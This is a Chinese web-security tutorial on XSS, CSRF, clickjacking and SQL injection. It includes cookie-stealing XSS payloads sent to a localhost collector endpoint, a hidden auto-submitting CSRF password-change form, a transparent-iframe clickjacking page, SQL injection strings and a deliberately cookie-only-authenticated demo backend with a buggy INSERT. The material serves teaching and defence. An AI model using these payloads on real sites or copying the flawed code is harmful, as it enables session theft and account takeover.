天天看點

web常見安全問題Xss攻擊Csrf攻擊點選劫持sql注入有待更新參考

Xss攻擊

Xss(cross site scripting)跨站腳本攻擊,為了和css區分,是以縮寫是xss。

XSS是注入攻擊的一種,攻擊者通過将代碼注入被攻擊者的網站中,使用者一旦通路通路網頁便會執行被注入的惡意腳本。

XSS原理

xss攻擊個人認為主要出現在服務端渲染,因為如果是用戶端渲染,用戶端渲染的話一般都會對輸入的内容轉義,是以服務端渲染基本碰不到存在xss漏洞的網站,

如果是服務端渲染,那就不一樣了,因為如果我前端在輸入框裡輸入的不是普通字元串,而是輸入了一串js代碼,或者有些網站是會根據位址欄上的參數進行渲染,我url上面的參數值沒有寫普通字元串,而是直接寫js語句,如果後端沒做處理,就将前端的js代碼渲染在了html上面,最終通路網站,後端就會傳回如下的html頁面:

<div>
    <h1>留言闆</h1>
    <ul>
        <li>
            你好啊
        </li>
        <li>
            <img src="不存在的位址1" onerror="window.location.href='http://www.github.com';" alt="">
        </li>
        <li>
            <script>window.location.href = "http://localhost:3000/js_xss?" + document.cookie;</script>
        </li>
        <li>
            <script>
                var imgEl = new Image();
                imgEl.src = "http://localhost:3000/img_xss?" + document.cookie;
                imgEl.style.display = 'none';
                document.body.appendChild(imgEl);
            </script>
        </li>
        <li>
            <script>
                var scriptEl = document.createElement("script");
                scriptEl.type = "text/javascript";
                scriptEl.src = "http://localhost:3000/js_xss?" + document.cookie;
                document.body.appendChild(scriptEl);
            </script>
        </li>
    </ul>
</div>           

複制

當浏覽器解析到這些可執行語句的時候,就會執行,後果可想而知。

類型

反射型(非持久型)

一般會通過URL注入攻擊腳本,隻有當使用者通路這個URL是才會執行攻擊腳本。

存儲型(持久型)

惡意代碼被儲存到目标網站的伺服器中,比如使用者留言的時候輸入了一串js代碼,然後發表留言的時候,這串js代碼會儲存到資料庫,等下次再通路該網站的時候,網站會擷取留言清單,如果你的那條惡意代碼的留言顯示在了頁面上,就會執行你的那串惡意代碼。這樣的危害非常大,隻要是通路該網站的都有可能受到影響。

防範

HTML轉義

防範XSS攻擊最主要的方法是對使用者輸入的内容進行HTML轉義,轉義後可以確定使用者輸入的内容在浏覽器中作為文本顯示,而不是作為代碼解析。

驗證使用者輸入

XSS攻擊可以在任何使用者可定制内容的地方進行,如下:

<a href=”{{url}}”>Website</a>           

複制

其中{{url}}部分表示會被替換為使用者輸入的url變量值。如果不對URL進行驗證,那麼使用者就可以寫入javaScript代碼,比如javascript:alert('Bingo!');。因為這個值并不包含會被轉義的<和>。最終頁面上的連接配接代碼會變為:

<a href="javascript:alert('Bingo!');">Website</a>           

複制

當使用者單擊這個連結時,浏覽器就會執行被href屬性中設定的攻擊代碼。

另外,程式還允許使用者設定頭像圖檔的URL。這個圖檔通過下面的方式顯示:

<img src="{{url}}">           

複制

類似的,{{url}}部分表示會被替換為使用者輸入的url變量值。如果不對輸入的URL進行驗證,那麼使用者可以将url設為"xxx" onerror="alert('Bingo!')",最終的img标簽就會變為:

<img src="xxx" onerror="alert('Bingo!')">           

複制

在這裡因為src中傳入了一個錯誤的URL,浏覽器變回執行onerror屬性中設定的javaScript代碼。

可以使用功能單引号或者雙引号,将使用者的輸入轉成字元串,再渲染到html上。

設定cookie的HTTPOnly屬性

JavaScript

Document.cookie

API 無法通路帶有

HttpOnly

屬性的cookie;此類 Cookie 僅作用于伺服器。例如,持久化伺服器端會話的 Cookie 不需要對 JavaScript 可用,而應具有

HttpOnly

屬性。此預防措施有助于緩解跨站點腳本(XSS)攻擊。

Csrf攻擊

CSRF(Cross-site request forgery)跨站請求僞造

簡單來講就是攻擊者(黑客,釣魚網站)盜用了你的身份,以你的名義發送惡意請求,這些請求包括發送郵件、發送消息、盜取賬号、購買商品、銀行轉賬

Csrf原理

個人認為,Csrf攻擊的原理就是利用了發起請求時,浏覽器會自動帶上一些存在用戶端的值,比如cookie。衆所周知,http協定是無狀态的,在那個古老的年代,很多網站都将使用者登入成功時候傳回的登入狀态(如token)存進cookie裡,然後用戶端發起請求時,啥都不用幹,照常發請求,因為發請求時,浏覽器會自動帶上cookie,後端在接收到請求時,就會判斷cookie是否合法或者過期等等,如果判斷無誤,就會傳回使用者操作結果。從上面的流程可以看出,所有的操作都是根據cookie的,即後端收到請求,誰都不認,就認cookie,cookie對就傳回結果,是以,就衍生出了Csrf攻擊,最最低級的Csrf攻擊就是所謂的釣魚網站,什麼是釣魚網站?首先要完成Csrf攻擊,首先要滿足以下條件:

  1. 該網站存在Csrf漏洞(重要條件)
  2. 浏覽器沒有做安全限制(重要條件)
  3. 該使用者防範意識不足(次要條件)

當滿足了上面的一二點後,那麼其實使用者被釣魚的記錄就大大提高了,因為大部分人都不會想到,點一下連結,自己的資料就被篡改了。

用通俗案例模拟整體流程:

某公司開發了一個網站,該網站有新人活動,新人注冊登入即可直接返十塊錢紅包(即白嫖),但該網站存在Csrf漏洞。

該網站的前端:最終部署在:https://www.zhengbeining.com/csrf/下

<template>
  <div>
    <h1 style="color: red">Csrf測試網站</h1>
    <h1>目前使用者資訊:{{ info }}</h1>
    <div style="width: 500px" v-if="!loginOk">
      <el-form ref="form" :model="info" label-width="80px">
        <el-form-item label="賬号">
          <el-input v-model="info.username"></el-input>
        </el-form-item>
        <el-form-item label="密碼">
          <el-input type="password" v-model="info.password"></el-input>
        </el-form-item>
        <el-form-item label="">
          <el-button type="success" @click="login">登入</el-button>
          <el-button type="primary" @click="register">注冊</el-button>
        </el-form-item>
      </el-form>
    </div>
    <div v-else>
      <h2>登入成功</h2>
      <div style="width: 500px">
        新密碼:<el-input type="password" v-model="newpassword"></el-input>
        <el-button type="danger" @click="edit">修改</el-button>
      </div>
    </div>
  </div>
</template>



<script>
import Cookies from "js-cookie";
import axios from "axios";
export default {
  components: {},
  data() {
    return {
      info: {
        username: "",
        password: "",
      },
      newpassword: "",
      loginOk: false,
    };
  },
  mounted() {
    this.loginOk = Cookies.get("token");
    if (this.loginOk) {
      console.log("cookie有token,擷取使用者資訊");
      this.getUserInfo();
    } else {
      console.log("cookie沒有token");
    }
  },
  methods: {
    getUserInfo() {
      axios
        // .get("/api/getUserInfo", {
        .get("https://www.zhengbeining.com/csrf/getUserInfo", {
          params: { token: Cookies.get("token") },
        })
        .then((res) => {
          console.log(res);
          if (res.data.code == 200) {
            delete res.data.info.token;
            this.info = Object.assign({}, this.info, res.data.info);
            this.loginOk = true;
            this.$message.success(res.data.msg);
          } else {
            this.loginOk = false;
            Cookies.remove("token");
            this.$message.error(res.data.msg);
          }
        })
        .catch((err) => {
          console.log(err);
        });
    },
    login() {
      axios
        // .post("/api/login", {
        .post("https://www.zhengbeining.com/csrf/login", {
          ...this.info,
        })
        .then((res) => {
          if (res.data.code == 200) {
            this.$message.success(res.data.msg);
            Cookies.set("token", res.data.info.token);
            delete res.data.info.token;
            this.info = Object.assign({}, this.info, res.data.info);
            this.loginOk = true;
          } else {
            this.$message.error(res.data.msg);
          }
        })
        .catch((err) => {
          console.log(err);
        });
    },
    register() {
      axios
        // .post("/api/register", {
        .post("https://www.zhengbeining.com/csrf/register", {
          ...this.info,
        })
        .then((res) => {
          if (res.data.code == 200) {
            this.$message.success(res.data.msg);
            // this.info = Object.assign({}, this.info, res.data.info);
            // Cookies.set("token", res.data.token);
            // this.loginOk = true;
          } else {
            this.$message.error(res.data.msg);
          }
        })
        .catch((err) => {
          console.log(err);
        });
    },
    edit() {
      if (this.newpassword.length < 6) {
        this.$message.error("密碼需要大于6位數");
        return;
      }
      axios
        // .post("/api/edit", {
        .post("https://www.zhengbeining.com/csrf/edit", {
          password: this.newpassword,
        })
        .then((res) => {
          if (res.data.code == 200) {
            Cookies.remove("token");
            // this.$data = this.$options.data();
            Object.assign(this.$data, this.$options.data());
            this.$message.success(res.data.msg);
          } else {
            this.$message.error(res.data.msg);
          }
        })
        .catch((err) => {
          console.log(err);
        });
    },
  },
};
</script>

<style>
</style>           

複制

該網站的後端:最終還是部署在https://www.zhengbeining.com/csrf/下。

let express = require('express')
const { v4: uuidv4 } = require('uuid');
const connection = require('./app/database');

// 解析post請求的body資料
let app = express()
app.use(express.json())
app.use(express.urlencoded({ extended: false }))


app.all("*", function (req, res, next) {
  //設定允許跨域的域名,*代表允許任意域名跨域
  res.header("Access-Control-Allow-Origin", "*");
  //允許的header類型
  res.header("Access-Control-Allow-Headers", "Content-Type,authorization,request-origin");
  //跨域允許的請求方式 
  res.header("Access-Control-Allow-Methods", "DELETE,PUT,POST,GET,OPTIONS");
  if (req.method.toLowerCase() == 'options')
    res.send(200);  //讓options嘗試請求快速結束
  else
    next();
})

// 靜态檔案目錄
app.use(express.static('public'))
var router = express.Router()

// Xss攻擊,擷取cookie
app.use('/', router.get('/img_xss', async (req, res, next) => {
  console.log('img_xss攻擊成功,拿到cookie:', req.query)
  res.end('img_xss-ok')
}))

// Xss攻擊,擷取cookie
app.use('/', router.get('/js_xss', async (req, res, next) => {
  console.log('js_xss攻擊成功,拿到cookie:', req.query)
  res.end('js_xss-ok')
}))

// 擷取使用者資訊
app.use('/', router.get('/getUserInfo', async (req, res, next) => {
  console.log('login')
  let statement = `SELECT * FROM user WHERE token = ?`;
  let [result] = await connection.execute(statement, [req.query.token]);
  if (result[0]) {
    res.json({ code: 200, msg: '擷取使用者資訊成功', info: result[0] })
  } else {
    res.json({ code: 400, msg: 'token錯誤,擷取使用者資訊失敗' })
  }

}))

// 注冊
app.use(router.post('/register', async (req, res, next) => {
  console.log('register')
  const { username, password } = req.body;
  let statement = `SELECT * FROM user WHERE username = ?;`;
  let [result] = await connection.execute(statement, [username]);
  if (!result[0]) {
    let statement = `INSERT INTO user (username, password , token, createdTime) VALUES (?, ?, ?);`;
    await connection.execute(statement, [username, password, null, new Date() + '']);
    res.json({ code: 200, msg: '注冊成功' })
  } else {
    res.json({ code: 400, msg: '使用者名:' + username + ',已經被注冊了' })
  }
}))

// 登入
app.use('/', router.post('/login', async (req, res, next) => {
  console.log('login')
  let { username, password } = req.body
  let statement = `SELECT * FROM user WHERE username = ? and password = ?`;
  let [result] = await connection.execute(statement, [username, password]);
  if (!result[0]) {
    res.json({ code: 400, msg: '使用者名密碼錯誤' })
  } else {
    let statement = `UPDATE user SET token = ? WHERE id = ?;`;
    await connection.execute(statement, [uuidv4(), result[0].id]);
    let info = await connection.execute(`SELECT * FROM user WHERE id = ${result[0].id}`);
    res.json({ code: 200, msg: '登入成功', info: info[0][0] })
  }
}))

// 修改密碼
app.use('/', router.post('/edit', async (req, res, next) => {
  console.log('edit')
  var Cookies = {};
  if (req.headers.cookie != null) {
    req.headers.cookie.split(';').forEach(l => {
      var parts = l.split('=');
      Cookies[parts[0].trim()] = (parts[1] || '').trim();
    });
  }
  let info = await connection.execute(`SELECT * FROM user WHERE token = ?`, [Cookies.token]);
  // console.log(info[0][0].id)
  let statement = `UPDATE user SET password =  ? WHERE token = ?;`;
  let [result] = await connection.execute(statement, [req.body.password, Cookies.token]);
  console.log(result)
  if (result.affectedRows == 0) {
    res.json({ code: 400, msg: 'token錯誤,修改密碼失敗' })
  } else {
    let statement = `UPDATE user SET token = ? , updatedTime = ? WHERE id = ?;`;
    await connection.execute(statement, [uuidv4(), new Date() + '', info[0][0].id]);
    res.json({ code: 200, msg: '修改密碼成功' })
  }
}))


app.listen('7000', function () {
  console.log('http://localhost:7000', 'running....')
})           

複制

某騙子知道該網站漏洞後,在網上大肆宣傳該網站新人返利活動,然後讓使用者添加自己的微信以擷取更多白嫖福利。

使用者a添加了騙子,騙子讓他注冊登入後,截登入成功的圖發給騙子,然後騙子再告訴使用者下一步怎麼做。

使用者a注冊登入了(即發起過https://www.zhengbeining.com/csrf/login請求了,然後将token設定在https://www.zhengbeining.com這個域名下的cookie裡),截圖發給了騙子,這樣騙子就确定了改使用者登入了,登入資訊肯定儲存在cookie了,然後騙子因為在這個網站裡面修改過密碼,知道這個網站修改使用者密碼是發起一個post請求,帶上password這個參數就可以了,後端服務端會判斷cookie,并且隻認cookie,cookie合法就使用傳過來的password改掉資料庫的密碼,如果cookie不合法,就傳回錯誤。

這時候騙子開始操作了,發了一個連結給使用者a,讓使用者a點選這個連結看看活動規則,但是這個是釣魚連結,具體代碼如下:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>

<body>
    <form class="csrf" action="http://localhost:3000/edit" method="post" target="iframe" style="display: none;">
        <input type="text" name="password" value="999" />
    </form>
    <iframe name="iframe" style="display: none;"></iframe>

    <script>
        var el = document.getElementsByClassName("csrf")[0]
        el.submit()
    </script>
</body>

</html>           

複制

這個連結打開其實是一片空白,它卻會發起了一個表單請求,發起了一個post請求:http://localhost:3000/edit,并且将password的值設為了999,然後submit送出,而且送出是彈出一個iframe嵌套視窗,但是這個視窗設定了隐藏樣式,就感覺啥都看不出來,就是一片空白。

使用者a點選連結後,雖然一片空白,但是卻背地裡發起了一個post請求,而且由于使用者登入成功了,token儲存在cookie裡了,現在再次發起的請求https://www.zhengbeining.com/edit還是https://www.zhengbeining.com的,于是,隻要是同一個浏覽器,使用者之前在這裡登入過了,留下了cookie,且這個cookie還沒過期(一般cookie不會這麼快過期,而且使用者也是剛登入完不久就點選了騙子連結),再次發起https://www.zhengbeining.com/edit的時候,不管目前的騙子連結是怎樣的,浏覽器都會發起http://localhost:3000/edit請求,并且,浏覽器會找自己有沒有存在https://www.zhengbeining.com這個域名下的資料,比如:cookie,如果有的話就會帶上,而恰巧,之前https://www.zhengbeining.com/login登陸成功的時候就儲存了token在cookie裡,是以,浏覽器會帶上這個cookie(即token)傳給後端。

防範

Cookie Hashing

應該是最簡單的解決方案了,因為雖然發起http請求會帶上浏覽器同域下的cookie,但是,是發起請求才會自動帶上同域的cookie,怎麼了解,簡單舉個例子,比如我浏覽器打開了aaa.com和bbb.com兩個網頁,我在aaa.com發起了一個bbb.com/login的請求,因為浏覽器的原因,會自動帶上bbb裡面的cookie,但是,并不意味這我在aaa.com可以拿到bbb.com的cookie,隻是在aaa.com發起bbb的請求的時候,會帶上bbb.com下的cookie而已,是以,為了預防csrf攻擊,可以在發起請求的時候,帶上一個根據cookie構造出來的hash值:

這是bbb網站的表單代碼

<form method=”POST” action=”bbb.com/login”>
    <input type=”text” name=”toBankId”>
    <input type=”text” name=”money”>
    <input type=”hidden” name=”hash” value=”{{hashcookie}}”>
    <input type=”submit” name=”submit” value=”Submit”>
</form>           

複制

這樣的話,在bbb發起請求,bbb可以通路自己域名下面的cookie,是以發起請求後,後端可以接收到表單裡面的hash值,但是,如果是别人aaa.com裡面發起的bbb/login請求的話,雖然aaa.com可以構造表達裡面的其他參數,但是無法拿到bbb的cookie,是以就不可能根據cookie構造出hash值!後端就可以根據這一點,再通過hash值解密,判斷前端傳過來的hash是否合法。

後端驗證HTTP的Referer 和Origin字段

  • referer屬性

記錄了該http請求的來源位址,但有些場景不适合将來源URL暴露給伺服器,是以可以設定不用上傳,并且referer屬性是可以修改的,是以在伺服器端校驗referer屬性并沒有那麼可靠

  • origin屬性

通過XMLHttpRequest、Fetch發起的跨站請求或者Post方法發送請求時,都會帶上origin,是以伺服器可以優先判斷Origin屬性,再根據實際情況判斷是否使用referer判斷。

後端使用cookie的SameSite屬性

後端響應請求時,set-cookie添加SameSite屬性。

SameSite選項通常由Strict、Lax和None三個值
  • Strict最為嚴格,如果cookie設定了Strict,那麼浏覽器會完全禁止第三方Cookie。
  • Lax相對寬松一點,在跨站點的情況下,從第三方站點的連結打開和從第三方站點送出Get的表單都會攜帶cookie.但是如果在第三方站點中使用Post方法或者通過img、iframe等标簽加載的URL,都不會攜帶Cookie。
  • None, 任何情況下都會發送Cookie。

csrfToken

  • 在浏覽器向伺服器發起請求時,伺服器生成一個CSRF Token(字元串)發送給浏覽器,然後将該字元串放入頁面中
  • 浏覽器請求時(如表單送出)需要帶上這個CSRF Token。伺服器收到請求後,驗證CSRF是否合法,如果不合法拒絕即可。

使用token 并驗證

既然浏覽器會自動帶上同域的cookie,那麼将登入資訊就不存cookie裡面,存localstorage裡,發起網絡請求的時候,不會預設帶上同域的localstorage,然後将登入資訊存在localstorage裡面,在請求的時候,手動帶上這個localstorage,後端再進行判斷就可以了。

點選劫持

原理

将要攻擊的網站通過 iframe 嵌套的方式嵌入自己的網頁中,并将 iframe 設定為透明,在頁面中透出一個按鈕誘導使用者點選。點選按鈕實際點選的是iframe裡面的東西。

舉個例子:比如我在b站發了一個視訊,我希望别人都給我一鍵三連,但是很明顯很多人都是喜歡白嫖,不會點選一鍵三連,我就使用iframe,将b站嵌入我的一個網站裡面,然後把iframe設定透明,用定位把一個按鈕定位到一鍵三連的位置那裡,并且把網站設定的吸引人一點,比如點選抽獎或者點選擷取最新資訊等等,這樣别人點選了按鈕,實際上點選的是iframe的一鍵三連按鈕,這樣就達到了我的目的。

ps:但實際上點選一鍵三連都需要登入,如果iframe擷取不到你之前在b站的登入狀态,也是白搭。而且在現在的2021年,對iframe的限制也越來越多,比如從谷歌浏覽器的Chrome 80版本後面開始,浏覽器的Cookie新增加了一個SameSite屬性,用來防止CSRF攻擊和使用者追蹤。該功能預設已開啟(SameSite:Lax)。即iframe拿不到外面的cookie了。

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <style>
        .wrap {
            position: relative;
        }

        .iframe {
            position: absolute;
            width: 600px;
            height: 600px;
            /* opacity: 0.5; */
            opacity: 0;
        }

        .img {
            position: absolute;
            width: 600px;
            height: 600px;
            background-color: pink;
        }

        .btn {
            position: absolute;
            bottom: 96px;
            left: 6px;
            display: inline-block;
            padding: 10px 20px;
            background-color: yellow;
            border-radius: 4px;
        }
    </style>
</head>

<body>
    <div class="wrap">
        <div class="img">
            <span class="btn">click</span>
        </div>
        <iframe class="iframe" src="https://www.zhengbeining.com/csrf/" frameborder="0"></iframe>
    </div>
</body>

</html>           

複制

防範

設定http頭部X-Frame-Options字段

  1. DENY // 拒絕任何域加載

  2. SAMEORIGIN // 允許同源域下加載

  3. ALLOW-FROM // 可以定義允許frame加載的頁面位址

可以設定值為deny,設定後,就會拒絕任何域的加載,如果别人iframe嵌入了,浏覽器控制台就會報錯:

Refused to display 'https://www.zhengbeining.com/' in a frame because it set 'X-Frame-Options' to 'deny'.

sql注入

原理

其實就是利用惡意的sql查詢或添加語句插入到應用的輸入參數中,具體看案例:

如果後端是這樣拼接sql的話:

let username = 'admin'
let password = 999
let sql = `select * from user where username = '${username}' and password = '${password}'`
// select * from user where username = 'admin' and password = '999'           

複制

上面的sql就是要找user裡面,使用者名是admin,密碼是999的所有資料。

但是如果使用者這樣輸入使用者名密碼:

let username = 'admin'
let password = "1 'or '1'='1"
let sql = `select * from user where username = '${username}' and password = '${password}'`
// select * from user where username = 'admin' and password = '1 'or '1'='1'           

複制

上面的sql是查找user裡面,使用者名是admin,密碼是1,或者1=1的所有資料,不管有沒有找到使用者名是admin,密碼是1的資料,但是後面的1=1是一定成立的,而且前面的條件和後面的條件中間用的是or,是以,隻要滿足:(使用者名是admin,密碼是1)或者(1=1)的其中一個或者都滿足,就會查詢user裡面的資料,這裡是一定可以查詢到資料的!

或者使用者這樣輸入使用者名密碼:

let username = "admin' -- "
let password = "234"
let sql = `select * from user where username = '${username}' and password = '${password}'`
console.log(sql)  //select * from user where username = 'admin' -- ' and password = '234'           

複制

let username = "admin' #"
let password = "234"
let sql = `select * from user where username = '${username}' and password = '${password}'`
console.log(sql)  //select * from user where username = 'admin' #' and password = '234'           

複制

上面兩個sql語句都是利用了sql裡面的注釋達到sql注入的。

防範

後端對前端送出内容進行規則限制

比如:正規表達式

不要使用字元串拼接

使用一些工具拼接,比如node後端可以使用mysql2裡面的query或execute
const conn = await mysql.createConnection({
  host: 'xxxxxxxxxxxxxx.mysql.rds.aliyuncs.com',
  user: '<資料庫使用者名>',
  password: '<資料庫密碼>',
  database: '<資料庫名稱>',
  charset: 'utf8mb4'
})
const [rows, fields] = await conn.query(
  'SELECT * FROM `user` where id in (?)',
  [userIds])
const [rows] = await conn.execute(
  'SELECT * FROM `user` where id = ?',
  [userId])           

複制

有待更新

參考

https://blog.csdn.net/weixin_30867015/article/details/99033645?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-1&spm=1001.2101.3001.4242

http://www.ruanyifeng.com/blog/2019/09/cookie-samesite.html

https://blog.csdn.net/onlyliii/article/details/108276843